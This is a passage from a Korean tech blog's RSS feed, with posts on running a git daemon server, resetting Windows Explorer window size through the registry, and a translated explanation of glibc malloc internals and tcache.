  &lt;p&gt;깃 데몬은 인증이 없기 때문에 push도 못하며 클론도 기본적으로 못한다 (예상치 못한 파일을 모르는 사람이 가져다 쓸 수 있기 때문)&lt;/p&gt;

  &lt;p&gt;그렇기 때문에 각각의 레포지토리에 git-daemon-export-ok 이름의 파일을 생성해야 깃 데몬이 접근을 허용해주며,&lt;/p&gt;

  &lt;p&gt;깃 데몬은 하나의 포트를 사용하기 때문에 9418포트의 방화벽을 확인하여야 한다. (grep 9418 /etc/services명령을 사용해 포트를 제대로 사용하는지 확인 가능하다.)&lt;/p&gt;

  &lt;p&gt;또한 Git daemon은 인증이 없기 때문에 푸시도 기본적으로 못하는데, 푸시를 할 수 있도록 하려면 –enable=receive-pack 옵션을 [Service]의 ExecStart라인 안에 넣어주면 된다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href=&quot;https://git-scm.com/docs/git-daemon&quot;&gt;옵션에 대한 자세한 설명은 다음을 참고하면 된다.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;이후 위의 깃 폴더 설정 이후 해당 명령어를 사용해 깃을 복사할 수 있다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;git clone git://(주소)/(깃 폴더 상대주소)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;

&lt;p&gt;이외에도 nginx를 이용한 http프로토콜에 대한 깃 클론을 사용해보려 하였으나, 검색해보면 나오는것들은 대부분 기존의 웹서버가 있을때를 기준으로 작성되었기 때문에 포기하였다.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;기존의-깃-폴더에-새로운-저장소-추가&quot;&gt;기존의 깃 폴더에 새로운 저장소 추가&lt;/h3&gt;

&lt;p&gt;기존의 깃 폴더에 새로운 remote를 추가하는 방법이다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;git remote add (리모트 이름) (위에서 사용한 여러 주소중 하나)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;위와 같은 명령어를 사용해 remote를 추가할 수 있다.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;remote 삭제 - git remote remove (리모트 이름)&lt;/li&gt;
  &lt;li&gt;remote 이름 변경 - git remote rename (리모트 이름) (목표 이름&lt;/li&gt;
  &lt;li&gt;remote 목록 보기 - git remote&lt;/li&gt;
  &lt;li&gt;remote 주소까지 보기 - git remote -v&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;또한 다음과 같은 방법으로 해당 리모트에 푸시할 수 있다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;git push (리모트 이름) [브랜치 이름 추가가능]&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;그 외에도 (리모트 이름)/(브랜치 이름) 등의 방법으로 이용 가능하니 입맞에 맞는 방법으로 사용하면 된다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;처음엔 gitlab 커뮤니티 에디션을 오라클 무료 클라우드서버에 설치하려고 하였다.&lt;/p&gt;

  &lt;p&gt;하지만 gitlab-ctl reconfigure에서 오류가 자주 일어나서 서비스도 없애고 메모리 스왑도 사용하고 초기화도 하고 포트도 바꾸고 그랬지만 나아지지 않아서 보니, gitlab에서 사용하는 puma 서비스는 여러 스레드를 사용하는 도구인데, 오라클 무료 클라우드 서버(1스레드)에서는 돌리기가 마땅치 않았던 것으로 보인다. (설정에서 1스레드만 사용하도록 변경하여도 오류가 일어났다.)&lt;/p&gt;

  &lt;p&gt;해당 정보는 gitlab-ctl tail puma를 이용하여 보았다. 다른 서비스는 정상 작동하지만 puma가 서비스종료코드로 계속 종료되어서 502-Whoops, GitLab is taking too much time to respond가 떴었다.&lt;/p&gt;

  &lt;p&gt;알고보니 puma는 4코어 cpu, 4기가 램의 최소사양을 가지고 있었다.&lt;/p&gt;

  &lt;p&gt;Gitlab 내부만 분리해서 사용하는 방법이 있다는것같은데 기본설치는 은근 무거우니 시도해보지 말 것.&lt;/p&gt;
&lt;/blockquote&gt;
</description>
        <pubDate>Sun, 17 Apr 2022 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/2022/04/17/Git-Server/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/2022/04/17/Git-Server/</guid>
      </item>
    
      <item>
        <title>Windows Explorer reset size by Registry</title>
        <description>&lt;h2 id=&quot;완벽주의자-환자의-클릭실수를-만회하고자-하는-윈도우-파일탐색기-사이즈-리셋-방법이다&quot;&gt;완벽주의자 환자의 클릭실수를 만회하고자 하는 윈도우 파일탐색기 사이즈 리셋 방법이다&lt;/h2&gt;

&lt;p&gt;레지스트리 폴더를 뒤자다가 Explorer 내부에 사이즈관련 값이 없어서 GG… (창 변경 및 새로고침을 통해서 찾아보는 방법을 해도 찾을 수 없었다.)&lt;/p&gt;

&lt;p&gt;결국 구글의 힘을 빌렸다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;\HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell&lt;/p&gt;
  &lt;blockquote&gt;
    &lt;p&gt;(혹은 \HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell 과 비슷하다.)&lt;/p&gt;
  &lt;/blockquote&gt;

  &lt;p&gt;\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Modules\GlobalSettings\Sizer&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;img src=&quot;https://eveheeero-github-io.notion.site/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fba65d508-0336-43ed-adbf-c66f078019eb%2FUntitled.png?table=block&amp;amp;id=613500e3-9c6f-4a70-b599-66136631f319&amp;amp;spaceId=c2eb73c4-6260-4fb7-8470-2e07bff25e55&amp;amp;width=2000&amp;amp;userId=&amp;amp;cache=v2&quot; alt=&quot;\HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell의 내용&quot; title=&quot;다음과 같은 값을 지워주면 된다.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://superuser.com/questions/917231/clear-file-explorer-settings-position-size-etc&quot;&gt;이곳&lt;/a&gt;과 &lt;a href=&quot;https://www.majorgeeks.com/content/page/how_to_reset_file_explorer_navigation_pane_width_to_default.html&quot;&gt;이곳&lt;/a&gt;을 참고하였다.&lt;/p&gt;

&lt;p&gt;레지스트리의 \HKEY_LOCAL_MACHINE\SOFTWARE (혹은 \HKEY_USERS\(유저 UID)\Software 과 같다) 에는 여러 소프트웨어에 대한 설정값이 존재하며, 해당 키의 내부를 살펴보면 여러 윈도우들에 대한 설정값을 찾을 수 있다.&lt;/p&gt;

&lt;p&gt;\HKEY_CLASSES_ROOT이나 \HKEY_CURRENT_USER\Software\Classes에는 여러 열기 방식이나 앱들의 설정값, 확장자 지정이 적혀있다.&lt;/p&gt;

&lt;p&gt;\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion(이하 동일)에는 윈도우 프로그램들의 설정에 대해 적혀 있다.&lt;/p&gt;

&lt;p&gt;그 외, \HKEY_LOCAL_MACHINE\SOFTWARE (\HKEY_CLASSES_ROOT와 동일) 내부에는 시스템 전역적인 공통설정이 들어가있으므로 자신이 사용하는 프로그램의 사이즈가 적혀있지 않으면 참고하라.&lt;/p&gt;

&lt;p&gt;추가적으로 \HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion의 내부에는 자동실행인 RUN이나 여러가지 정책, 윈도우 패스, 자동실행폴더 등이 지정되어 있다.&lt;/p&gt;

&lt;p&gt;위와 같은 값들을 지우면 여러 창들의 크기를 원래대로 돌릴 수 있으니 참고하라. (가상머신에서 디폴트값을 받은 뒤, 파일-&amp;gt;내보내기로 세팅값 추출한다음 원래 컴퓨터에서 사용하는것 추천)&lt;/p&gt;
</description>
        <pubDate>Sat, 09 Apr 2022 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/2022/04/09/Windows_Explorer_reset_size/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/2022/04/09/Windows_Explorer_reset_size/</guid>
      </item>
    
      <item>
        <title>Malloc 내부를 통해 보는 tcache의 동작</title>
        <description>&lt;h2 id=&quot;contents&quot;&gt;Contents&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;개요&lt;/li&gt;
  &lt;li&gt;MallocInternals 번역&lt;/li&gt;
  &lt;li&gt;Malloc의 개요&lt;/li&gt;
  &lt;li&gt;Chunk는 무엇인가?&lt;/li&gt;
  &lt;li&gt;Arenas와 Heaps&lt;/li&gt;
  &lt;li&gt;Thread Local Cache (tcache)&lt;/li&gt;
  &lt;li&gt;Thread Local Cache (tcache)의 동작&lt;/li&gt;
  &lt;li&gt;References&lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;개요&quot;&gt;개요&lt;/h1&gt;
&lt;p&gt;본 글은 [1]의 일부를 번역하여 malloc 함수가 메모리를 어떤 형태로 다루는지와
tcache의 동작을 일부 살펴본다.&lt;/p&gt;

&lt;h1 id=&quot;mallocinternals-번역&quot;&gt;MallocInternals 번역&lt;/h1&gt;
&lt;p&gt;여기서는 [1]의 일부를 번역한 내용을 다룬다.&lt;/p&gt;
&lt;h2 id=&quot;malloc의-개요&quot;&gt;Malloc의 개요&lt;/h2&gt;
&lt;p&gt;GNU C Library (glibc의) 의 malloc 라이브러리는 어플리케이션의 주소 공간에
할당된 메모리를 관리하는 다양한 함수들을 포함한다. Glibc malloc은
ptmalloc (pthreads malloc) 으로부터 파생되었고, ptmalloc은
dlmalloc (Doug Lea malloc) 으로부터 파생되었다. 이 malloc은 “힙 (heap)”
스타일을 따르고, 그것은 큰 영역의 메모리에 다양한 크기의 청크 (chunks) 가
존재한다는 것을 의미한다. 그리고 이는 예를 들자면, 비트맵과 배열 또는 동일한
크기의 블록 등을 사용하는 구현과 반대이다. 과거에는, 한 어플리케이션마다 하나의
힙만 할당되었지만, glibc의 malloc은 한 어플리케이션에 다수의 힙들이 할당되는
것을 허용한다. 이때 할당된 각각의 힙은 그 주소 공간 내부에서 자라게 된다.&lt;/p&gt;

&lt;p&gt;그럼, 이 문서에서 사용되는 몇 가지 용어를 정의해보자.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Arena: 하나 또는 그 이상의 스레드가 공유하는, 하나 또는 그 이상의 힙 또는
힙 내부에서 “free”된 청크들의 링크드 리스트를 참조하는 구조체이다. 각 아레나에
연결된 스레드들은 그 아레나의 free 리스트로부터 메모리를 할당받을 것이다.&lt;/li&gt;
  &lt;li&gt;Heap: 할당될 청크들로 나누어진 연속적인 영역의 메모리이다. 각 힙은 정확히
하나의 아레나에 속한다.&lt;/li&gt;
  &lt;li&gt;Chunk: 할당될 수 있는(어플리케이션이 소유하는) 작은 범위의 메모리로, free될
수 있고 (이때는 glibc가 소유한다), 인접한 청크들과 결합되어 더 큰 범위를 가질
수 있다. 청크는 어플리케이션에게 할당되는 메모리의 블록을 둘러싸는 랩퍼 (wrapper)
라는 것을 기억하자. 각 청크는 하나의 힙에 존재하고 하나의 아레나에 속한다.&lt;/li&gt;
  &lt;li&gt;Memory: 일반적으로 램 또는 스왑에 의해 얻어지는 어플리케이션 주소 공간의
비율을 말한다.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;본 문서에서 “메모리 (memory)”라는 용어를 오직 일반적인 용법으로만 사용할
것이다. 한편 glibc malloc 코드에는 리눅스 커널 (또는 다른 OS) 과 작업하는
코드가 있다. 그 코드는 커널에게 어떤 메모리가 매핑되어야 하는지와 어떤 메모리가
커널에게 리턴될 수 있는지에 대한 힌트를 주기 위한 것이다. 이때 “실제 메모리
(real memory)”와 “가상 메모리 (virtual memory)”의 구분은 명시되지 않는
한, 여기서 논하고자 하는 것과 관련이 없다.&lt;/p&gt;

&lt;h2 id=&quot;chunk는-무엇인가&quot;&gt;Chunk는 무엇인가?&lt;/h2&gt;
&lt;p&gt;Glibc의 malloc은 chunk-oriented이다. 이는 큰 영역의 메모리 (“힙”) 를
다양한 크기의 청크로 나눈다. 각 청크는 자신의 크기 (청크 헤더의 size 필드로)
와 인접한 청크들을 메타 데이터로 포함한다. 청크가 어플리케이션에 의해 사용될
때, “저장되는 데이터”는 청크의 크기뿐이다. 청크가 free되면, 어플리케이션의
데이터로 사용되던 부분은 아레나와 관련된 데이터로 채워지도록 재지정된다.
여기서 아레나와 관련된 데이터는 적합한 청크가 빠르게 검색되고, 필요하다면
재사용될 수 있도록, 링크드 리스트에서 사용되는 포인터와 같은 것이다. 또한,
free된 청크의 마지막 워드는 청크 크기가 복사된 것이다 (이때 LSB로부터
세 비트들을 0으로 둘 수도 있고, 플래그로 사용할 수도 있다).&lt;/p&gt;

&lt;p&gt;Malloc 라이브러리 내부에서 “청크 포인터” 또는 mchunkptr은 청크의 시작
주소를 가리키지 않고, 이전 청크의 마지막 워드를 가리킨다 - i.e. mchunkptr의
첫 번째 필드는 free된 이전 청크를 알지 못하는 한 유효하지 않다.&lt;/p&gt;

&lt;p&gt;모든 청크들의 크기는 8 바이트의 배수이므로, 청크 크기의 세 LSB들은
플래그로 사용될 수 있다. 이러한 세 개의 플래그는 다음과 같이 정의된다:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;A (0x04): 할당된 아레나 - 메인 아레나는 어플리케이션의 힙을 쓴다. 그리고
나머지 아레나들은 mmap된 힙들을 사용한다. 청크를 힙에 매핑하기 위해 어떤
경우에 속하는지 알아야 한다. 이 플래그의 비트가 0이면, 청크는 메인 아레나와
메인 힙에 속한다. 이 플래그의 비트가 1이면, 이 청크는 mmap된 메모리에
속하고 청크의 주소를 통해 힙의 위치를 계산할 수 있다.&lt;/li&gt;
  &lt;li&gt;M (0x02): MMap된 청크 - 이 청크는 mmap 함수를 호출하여 할당되었고
힙에 속하지 않는다.&lt;/li&gt;
  &lt;li&gt;P (0x01): 이전 청크가 사용되고 있음 - 이 플래그가 셋트이면, 이전 청크는
어플리케이션에 의해 사용 중이고, 따라서 prev_size 필드는 유효하지 않다.
단, 몇몇 청크들, 예를 들면 fastbin에 있는 (아래에서 설명) 청크들은
어플리케이션으로부터 free되었다고 해도 이 비트를 셋트한 채로 유지할 수
있다. 이 비트의 실제 의미는 이전 청크가 병합 대상으로 인식돼서는 안된다는
것이다 - 이 청크는 어플리케이션이나 malloc의 코드 맨 위에 있는 최적화
계층에 의해 “사용 중”이다.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;청크의 페이로드 영역이 malloc에서 요구하는 오버헤드를 충족시킬만큼
크다면, 청크의 최소 크기는 4 * sizeof(void &lt;em&gt;) (size_t가 void *와 같은
크기를 가지지 않는 한) 이다. 이러한 최소 크기는 플랫폼의 ABI가 추가적인
정렬을 요구한다면 더 커질 수 있다. 단, prev_size가 청크의 최소 크기를
5&lt;/em&gt;sizeof(void *)로 증가시키지는 않는다. 왜냐하면 청크가 작다면
bk_nextsize 포인터가 사용되지 않을 것이고, 청크가 충분히 크다면 결국
충분한 공간이 있는 것이기 때문이다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
        이미 사용 중인 청크
      [  prev_size   ] &amp;lt;- mchunkptr
-     [ size  ][ AMP ]
^     [              ] &amp;lt;- returned by malloc
|     [              ]
chunk [   payload    ]
|     [              ]
v     [              ]
-     [ size  ][ AMP ] P = 1

        free된 청크
      [  prev_size   ] &amp;lt;- mchunkptr
-     [ size  ][ AMP ]
^     [ fwd          ] &amp;lt;- returned by malloc
|     [    bck       ]
chunk [ fd_nextsize  ] -&amp;gt; large chunks only
|     [  bk_nextsize ] -&amp;gt; large chunks only
|     [  ...         ]
v     [  prev_size   ] -&amp;gt; same as size
-     [ size  ][ AMP ] P = 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;여기서 청크가 메모리에서 서로 인접하므로, 만약 첫 번째 청크 (가장 낮은
주소를 가지는) 의 주소를 안다면, 힙에 존재하는 모든 청크를 size 정보를
이용하여 접근할 수 있다. 하지만 주소를 증가시키는 연산만을 사용해야 하고,
마지막 청크를 감지하는 것은 어려울 수 있다.&lt;/p&gt;

&lt;p&gt;할당된 힙들은 항상 2의 제곱의 주소로 정렬된다. 즉, 청크가 할당된 힙에
존재할 때 (i.e. A 비트가 셋트일 때) 그 힙을 위한 heap_info의 주소는
청크의 주소를 기반으로 계산될 수 있다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
mchunkptr -&amp;gt; 0x7ffa6b3414123dc0
             |           |max   |
             0x7ffa6b3414000000 -&amp;gt; heap_info *
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&quot;arenas와-heaps&quot;&gt;Arenas와 Heaps&lt;/h2&gt;
&lt;p&gt;멀티 스레드 어플리케이션을 효율적으로 다루기 위해 glibc의 malloc은
메모리의 다수 영역이 활성화되는 것을 허용한다. 즉, 다른 스레드가 서로 영향을
주지 않으면서 다른 메모리의 영역에 접근할 수 있다. 이러한 메모리의 영역들은
아레나라고 통칭한다. 그리고 “메인 아레나 (main arena)”는 애플리케이션의
초기 힙을 의미한다. Malloc 코드에는 이 아레나를 가리키는 정적 변수가 존재하고,
각각의 아레나에는 추가된 아레나를 연결하기 위한 next 포인터가 있다.&lt;/p&gt;

&lt;p&gt;스레드 충돌로 인한 성능에 대한 압박이 증가함에 따라, 추가적인 아레나는
mmap으로 생성되어 이를 해소한다. 아레나의 개수는 시스템이 가지고 있는
CPU의 개수의 8배로 제한되고 (사용자가 직접 명시하지 않는한, mallopt를 보라),
그것은 스레드가 상당히 많은 프로그램의 경우에는 여전히 성능에 대한 긴장이
있을 것을 의미하지만, 그것에 대한 트레이드 오프 (trade-off)로 적은 파편화
(fragmentation)가 발생할 것이다.&lt;/p&gt;

&lt;p&gt;각 아레나 구조체는 아레나에 대한 접근을 제어하는데 사용되는 뮤텍스 (mutex)를
가진다. 몇몇 연산들, 예를 들면 fastbins에 접근하는 것은, 원자적 연산 (atomic
operations)으로 이루어질 수 있고 아레나를 잠글 (lock) 필요는 없다. 다른 모든
연산들은 스레드가 아레나를 잠글 필요가 있는 것들이다. 뮤텍스로 인해 발생하는
성능에 대한 긴장은 다수의 아레나가 생성되는 이유이다 - 다른 아레나에 접근하는
스레드는 서로를 기다릴 필요가 없는 것이다. 스레드는 성능과 관련된 것이 요구한다면
자동적으로 사용되지 않고 있는 (잠기지 않은, unlocked) 아레나로 전환할 것이다.&lt;/p&gt;

&lt;p&gt;각 아레나는 하나 또는 다수의 힙으로부터 메모리를 얻는다. 메인 아레나는
프로그램의 초기 힙을 (.bss 바로 뒤에서 시작하는 et al) 사용한다. 추가적인
아레나는 메모리를 mmap을 통해 생성한 힙으로부터, 오래된 힙들이 다 사용되는
경우에 추가적인 힙을 리스트에 추가하면서, 얻는다. 각 아레나는 특별한 맨 위에
있는 청크 (top chunk)를 추적하는데 이는 전형적으로 사용가능한 가장 큰 청크이고,
가장 최근에 할당된 힙을 의미하기도 한다.&lt;/p&gt;

&lt;p&gt;할당된 아레나를 위한 메모리는 편의성을 위해 아레나의 초기 힙으로부터 얻어진다.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
          Heap #1             Heap #2            Heap #3
	 _               |--------------------|
 	/ [ ar_ptr  ]----+---[ ar_ptr   ]&amp;lt;--+ +-[  ar_ptr    ]
       /  [         ]&amp;lt;---|---[  prev    ]   |---[  prev      ]
    heap  [ prev    ]--+ |   [  size    ]       [  size      ]
    info  [size     ]  | |   [  ....    ]       [   ...      ]
 	\_[ ...     ]  - |   [   chunks ]       [  chunks    ]
	  [ arena   ]&amp;lt;---+                      [            ]
	  [         ]--------------------------&amp;gt;[&quot;top&quot; chunk ]
	  [ chunks  ]
	
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;각 아레나에서, 청크들은 애플리케이션에 의해 사용 중 (in use)이거나 사용가능
(available, free) 상태일 수 있다. 사용 중인 청크들은 아레나에 의해 추적되지는
않는다. 사용가능한 청크들은 그 크기와 할당 기록에 기반하여 다양한 리스트들에
저장되므로, 라이브러리는 할당 요청에 따른 적합한 청크들을 빠르게 찾을 수 있다.
이 리스트들은, “빈 (bins)” 이라고 여기서 부를 것이다.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Fast: 작은 청크들은 특정 크기의 (size-specific) bin에 저장된다. Fast
bin (“fastbin”)에 추가된 청크들은 인접한 청크와 병합되지 않는다 - 빠른 접근
(이름에서 알 수 있듯이)을 위해 최소의 로직만을 사용한다. Fastbin에 있는
청크들은 필요하다면 다른 bin들로 옮겨질 수 있다. Fastbin 청크들은, 청크들이
모두 같은 크기를 가지고 중간 크기는 절대 접근될 일이 없으므로, 단일
연결 리스트에 저장된다.&lt;/li&gt;
  &lt;li&gt;Unsorted: 청크들이 해제되면 (free’d) 그들은, 초기에 한 bin에 저장된다.
그들은 나중에 정렬되고, malloc에서, 이는 빠르게 재사용될 기회를 주기 위한
것이다. 이는 또한 정렬 로직이 어느 한 시점에만 존재하면 된다는 것을 의미한다 -
모두가 해제된 청크를 이 bin에 넣고, 그것들은 나중에 정렬될 것이다. 이러한
“정렬되지 않은 (“unsorted”)” bin은 간단히 보통 bins의 첫 번째이다.&lt;/li&gt;
  &lt;li&gt;Small: 일반적인 bins는 모든 청크의 크기가 같은 “작은 (“small”)” bins와
청크의 크기가 범위를 가지는 “거대한 (“large”)” bins로 나뉜다. 청크가 이러한
bins에 추가되면 인접한 청크와 더 거대한 청크를 만들기 위해 “병합”한다. 따라서
이들은 (비록 fast 또는 unsorted 청크, 그리고 사용 중인 청크와는 인접할 수
있다고 하더라도) 다른 청크와 절대 인접할 일이 없다. Small 그리고 large 청크들은
이중으로-연결되며 (doubly-linked) 그렇기에 (그들이 새롭게 해제된 청크와
병합하는 경우와 같이) 중간에서 삭제될 수 있다.&lt;/li&gt;
  &lt;li&gt;Large: 한 청크가 속한 bin이 다수의 크기를 포함할 때 그 청크는 “거대하다
(“large”)”. Small bins에서는, 첫 번째 청크를 선택하여 사용하면 된다. Large
bins에서는, “가장 적절한” 청크를 찾아야 하고, 두 청크 (하나는 사용자가 요청한
크기, 하나는 그 나머지)로 나누어야 할 수 있다.&lt;/li&gt;
&lt;/ul&gt;

&lt;pre&gt;&lt;code&gt;

ar_ptr---&amp;gt;[   mutex   ]  |--&amp;gt;[   chunk   ]  |--&amp;gt;[  chunk  ]
          [ fastbins[]]--+   [    fwd    ]--+   [   fwd   ]
	  [           ]
	  [    top    ]
	  [   bins[]  ]&amp;lt;-| |--&amp;gt;[  chunk  ]&amp;lt;-| |---&amp;gt;[  chunk  ]
       /-&amp;gt;[           ]--+-+   [   fwd   ]--+-+    [   fwd   ]--------+ 
      +---[           ]  |-----[   bck   ]  |------[   bck   ]&amp;lt;-------+
     /    [   next    ]                                               |
    /	  [ nextfree  ]                                               |
   /	  [  stats    ]                                               |
  +-------------------------------------------------------------------+
  +-------------------------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;주의: 위 (와 아래)의 다이어그램에서, 모든 포인터는 “chunk”(mchunkptr)를 가리킨다.
Bins는 청크가 아니므로 (그들은 fwd/bck의 배열이다), 한 hack이 사용되어
mchunkptr의 fwd, bck 필드가 적합한 bin에 접근하는데 사용될 수 있도록 bins를
“그저 적절히” 덮어쓰는 mchunkptr을 chunk-like 객체에 제공한다.&lt;/p&gt;

&lt;p&gt;Large 청크에서 “가장 적절한 것(“best fit”)”을 찾아야 하기 때문에, large 청크들은
추가적인 이중으로-연결된 리스트를 가지며 이는 리스트에서 각 크기 필드를 연결하고,
청크들은 크기에 따라 큰 것에서 작은 것으로 정렬된다. 이는 충분한 크기를 가지는
첫 번째 청크를 malloc이 빠르게 검색할 수 있도록 만든다. 이때 주어진 크기에서 다수의
청크가 존재한다면, 두 번째 청크가 일반적으로 선택되는데, 그 이유는 다음 크기의
연결 리스트가 수정될 필요가 없도록 만들기 위함이다.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;

[  ...  ]  |--&amp;gt;[ size = 132 ]&amp;lt;-+ [ size = 132 ] +-&amp;gt;[ size = 120  ]
[ bins[]]--+   [    fwd     ]--|&amp;gt;[    fwd     ]-|-&amp;gt;[    fwd      ]
[       ]&amp;lt;-----[    bck     ]&amp;lt;-|-[    bck     ]&amp;lt;|--[    bck      ]
[  ...  ] +---&amp;gt;[ fd_nextsize]--|----------------+  [ fd_nextsize ]---+
         /  +--[ bk_nextsize]  +-------------------[ bk_nextsize ]&amp;lt;-+|
        /  /                                                        ||
       /  +---------------------------------------------------------+|
      +--------------------------------------------------------------+

&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&quot;thread-local-cache-tcache&quot;&gt;Thread Local Cache (tcache)&lt;/h2&gt;
&lt;p&gt;이 malloc은 멀티 스레드가 있음을 인식하지만 그 인식은 생각보다 그 범위가 넓다 -
이는 멀티 스레드가 동작 중인지 아닌지를 인식할 수 있다. 이 malloc에는 NUMA
아키텍처에 대한 최적화, thread locality에 대한 coordinate, 코어에 따른
스레드 정렬 등에 대한 코드는 없다. Malloc은 이러한 문제들은 커널이 충분히 잘
다룰 것이라고 가정한다.&lt;/p&gt;

&lt;p&gt;각 스레드에는 스레드-지역 변수가 존재하여 마지막으로 사용한 아레나를 기억한다.
만약 그 스레드가 그 아레나를 사용하고자 할 때, 그 아레나가 이미 사용 중이라면
스레드는 그 아레나가 사용가능할 때까지 기다려야 한다. 만약 스레드가 이전에
사용한 아레나가 없다면, 새로운 아레나를 생성하거나, 전역 리스트에서 다음
아레나를 선택할 수도 있다.&lt;/p&gt;

&lt;p&gt;각 스레드는 스레드 별 캐시 (per-thread cache, tcache라고 불린다)가 존재하며
이는 작은 청크의 모음으로 스레드가 아레나를 잠글 필요 없이 접근할 수 있다. 이
청크들은 fastbins와 같이 단일 연결 리스트의 형태로 저장되지만, 링크들은
청크의 헤더가 아닌 페이로드 (사용자 데이터 영역)를 가리킨다. 각 bin은 한 크기의
청크를 포함하기 때문에, 그 배열은 청크의 크기로 (간접적으로) 인덱싱될 수 있다.
Fastbins와는 다르게, tcache는 각 bin이 허용하는 청크의 개수가 정해져 있다
(tcache_count). 만약 tcache bin이 주어진 요청 크기에 대해 비어있다면, 그 다음
크기의 청크가 사용되지는 않고 (내부 파편화를 발생시킬 수 있으므로), 대신 일반적인
malloc 루틴이 동작하기 시작한다. 즉, 스레드의 아레나를 잠그고 작업을 시작하는
것이다.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;

entries[]
[          ]       [  size = 48  ]       [   size = 48   ]
[          ]------&amp;gt;[     next    ]------&amp;gt;[     next      ]--+
[          ]       [   .....     ]       [   .......     ]  |
[  ...     ]       [   .....     ]       [   .......     ]  -
                   \                                     /
                    \__tcache_count(TCACHE_FILL_COUNT)__/
					
counts[]    _
[          ] \
[   2      ]  \
[          ]   tcache_bins(TCACHE_MAX_BINS)
[          ]  /
[  ...     ]_/

&lt;/code&gt;&lt;/pre&gt;

&lt;h1 id=&quot;thread-local-cache-tcache의-동작&quot;&gt;Thread Local Cache (tcache)의 동작&lt;/h1&gt;
&lt;p&gt;[2, p. 1090]은 ‘–disable-experimental-malloc’ 옵션을 설명하면서
스레드 별 캐시 (tcache)가 malloc에서 기본값으로 허용됨을 명시하였다.&lt;/p&gt;

&lt;p&gt;[3]은 다음과 같은 코드를 통해 tcache를 관리하는 구조체가
tcache_perthread_struct이고, tcache 또한 malloc으로 할당됨을 보인다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;/* There is one of these for each thread, which contains the
   per-thread cache (hence &quot;tcache_perthread_struct&quot;).  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  uint16_t counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;static void
tcache_init(void)
{
  mstate ar_ptr;
  void *victim = 0;
  const size_t bytes = sizeof (tcache_perthread_struct);

  if (tcache_shutting_down)
    return;

  arena_get (ar_ptr, bytes);
  victim = _int_malloc (ar_ptr, bytes);
  if (!victim &amp;amp;&amp;amp; ar_ptr != NULL)
    {
      ar_ptr = arena_get_retry (ar_ptr, bytes);
      victim = _int_malloc (ar_ptr, bytes);
    }


  if (ar_ptr != NULL)
    __libc_lock_unlock (ar_ptr-&amp;gt;mutex);

  /* In a low memory situation, we may not be able to allocate memory
     - in which case, we just keep trying later.  However, we
     typically do this very early, so either there is sufficient
     memory, or there isn&apos;t enough memory to do non-trivial
     allocations anyway.  */
  if (victim)
    {
      tcache = (tcache_perthread_struct *) victim;
      memset (tcache, 0, sizeof (tcache_perthread_struct));
    }

}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Tcache는 기본값으로 허용되므로 애플리케이션에서 malloc을 통해 메모리를 요청하면
먼저 tcache를 설정하는 작업이 진행되고 tcache에 저장된 청크를 할당한다.
이때 tcache는 초기에 malloc을 통해 할당받아 존재하기 때문에 힙 영역에서
상대적으로 낮은 주소에 위치하게 된다.&lt;/p&gt;

&lt;h1 id=&quot;references&quot;&gt;References&lt;/h1&gt;
&lt;p&gt;[1] Carlos Donell et al., “MallocInternals”, glibc wiki, 2022.
[Online]. Available: https://sourceware.org/glibc/wiki/MallocInternals,
[Accessed Apr. 08, 2022]&lt;/p&gt;

&lt;p&gt;[2] Sandra Loosemore with Richard M. Stallman, et al., “The GNU
